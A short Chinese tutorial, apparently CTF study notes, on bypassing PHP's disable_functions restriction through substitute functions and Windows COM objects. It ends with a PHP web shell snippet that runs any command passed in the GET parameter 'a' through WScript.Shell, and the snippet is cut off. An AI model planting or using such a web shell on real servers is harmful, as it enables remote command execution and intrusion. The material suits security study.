【绕过disable_function】
一、disable_function 是什么
php 的 disable_function 是用来禁止一些危险函数的使用,该配置位于 php.ini 中
比如phpinfo会暴露很多信息比较危险,就可以写入disable_function里面
再次访问就会提示出于安全原因被禁用了
比如再禁用 file_get_contents
代码读取当前文件的flag2.txt
访问时同样被禁止了,所以在disable_function里添加指定函数,该函数就会被禁用
二、disable_function 绕过
1、换成功能上可以近似替代的函数
system函数被禁用了,但是echo assert依旧执行了
2、windows com组件
COM(Component Object Model) 是 Windows 操作系统的一项技术,它允许程序(或脚本)创建和调用其他程序或系统组件提供的功能对象。可以把它想象成 Windows 系统内部的一套“标准接口”或“工具箱”。
WScript.Shell和 Shell.Application就是 Windows 系统自带的、非常强大的 COM 对象,它们的功能之一就是运行程序和执行命令。
PHP 提供了一个名为 php_com_dotnet.dll的扩展模块。一旦在 php.ini 中启用这个扩展(extension=php_com_dotnet.dll),PHP 脚本就获得了创建和操作 COM 对象的能力。
当 PHP 调用 new COM(‘WScript.shell’)时,它并不是在直接执行一个被禁用的函数(如 exec)。它是在请求 Windows 系统:“请给我一个 WScript.Shell对象”。实际执行命令的是 Windows 系统本身的这个 COM 组件,而不是 PHP。PHP 只是在“借用”Windows 的功能。
php.ini 需要有这样的内容
<?php
$command = $_GET['a']; // 1. 从用户GET请求参数‘a’中获取要执行的命令
$wsh = new COM('WScript.shell'); // 2. 创建一个COM对象,类型是WScript.shell
$exec = $wsh->exec("cmd /c".$command); // 3. 调用该对象的exec方法,来执行系统命令(cmd /c)
$stdout = $exec->StdOut()